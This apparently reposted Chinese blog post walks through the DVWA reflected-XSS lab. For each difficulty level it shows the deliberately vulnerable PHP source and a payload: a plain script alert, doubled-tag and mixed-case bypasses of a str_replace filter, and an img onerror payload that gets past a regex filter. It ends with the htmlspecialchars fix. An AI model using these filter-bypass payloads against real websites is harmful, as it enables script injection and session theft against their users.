DVWA闯关XSS(Reflected)

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 DVWA闯关XSS(Reflected),希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

低级难度

源代码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?> 

可以看到系统直接使用了name参数,没有做任何过滤

<script>alert(/一个嚣张的XSS/)</script>

在这里插入图片描述

中级难度

源代码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

使用了str_replace来把<script>替换为空,但是可以双写绕过,并且str_replace区分大小写,也可以大小写绕过
方法1:双写绕过

<sc<script>ript>alert(/一个嚣张的XSS/)</script>

在这里插入图片描述
方法2:大小写绕过

<scRipt>alert(/一个嚣张的XSS/)</script>

在这里插入图片描述

高级难度

源代码:

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
?>

可以看见系统用了正则匹配,道导致大小写和双写绕过失效,但是可以使用事件驱动,让靶机因为无法出现一个不存在的图片而出发错误,出现弹窗。

<img src=1 onerror=alert(/xss/)>

在这里插入图片描述

不可能难度

源代码:

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>

系统使用了htmlspecialchars把我们XSS要用到的一些预定义字符转化为HTML实体,导致无法再进行反射型XSS攻击。
预定义字符包括:"'<>&

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134370.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!